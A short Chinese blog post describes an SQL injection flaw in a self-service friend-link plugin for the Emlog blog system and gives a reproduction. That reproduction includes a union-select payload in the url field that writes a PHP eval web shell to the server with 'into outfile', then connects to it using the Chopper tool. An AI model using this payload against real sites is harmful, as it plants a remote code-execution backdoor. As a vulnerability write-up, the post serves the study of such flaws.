Emlog漏洞——————Emlog友情链接自助插件存在SQL注入漏洞

Emlog简介

Emlog是“Every Memory Log”的简介，意即：点滴记忆。它是一款基于PHP语言哈MYSQL数据库的开源、免费、功能强大的个人或多人联合撰写的博客系统（Blog）。基于PHP和MYSQL的功能强大的博客以及CMS建站系统。致力于提供快速、稳定，且在使用上又及其简单、舒适的博客服务。安装和使用都非常方便。目前Emlog正在受到越来越多的广大用户的青睐。

漏洞简介

漏洞简要概括：
Emlog友情链接自助插件开的的主要目的是为了减轻友情链接的审核工作，通过申请者自己填写表单的方式提交申请，之后通过在后台检查申请者的网站是否存在，如果存在则将该链接数据加入数据库，否则不添加。

存在漏洞的插件下载地址：https://pan.baidu.com/s/1fRRZ4HIhdUH9S36pU2BA6w

在该插件当中的link_web.php文件中，直接将用户提交的数据进行了拼接，之后直接带入了查询，未经过任何的过滤操作，由此一个典型的SQL注入漏洞就这样简易的诞生了：

漏洞复现

由于这里的参数都没有经过过滤，所以我们可以对任意参数进行验证，进行SQL注入，首先我们可以提交正常的访问请求，之后使用burpsuite进行抓包，之后改包，我们这里以URL为例：

在抓取到数据包之后，我们可以将url改为以下内容：

url=http://www.dyboy.cn' union select 1,2,3,4,5,'<?php eval($_GET[cmd]); ?>' into outfile 'c:\\phpstudy\\www\\shell.php' 

之后，这条语句会正常执行，同时也会在C:\phpstudy\www\下生成一个shell.php，而且该shell.php中的内容正是我们之前写入的一句话，之后我们可以使用菜刀进行连接。

由于过于简单，这里就不再多做演示了，有兴趣的人可以根据本博主上面给出的连接，下载该插件到本地之后进行测试。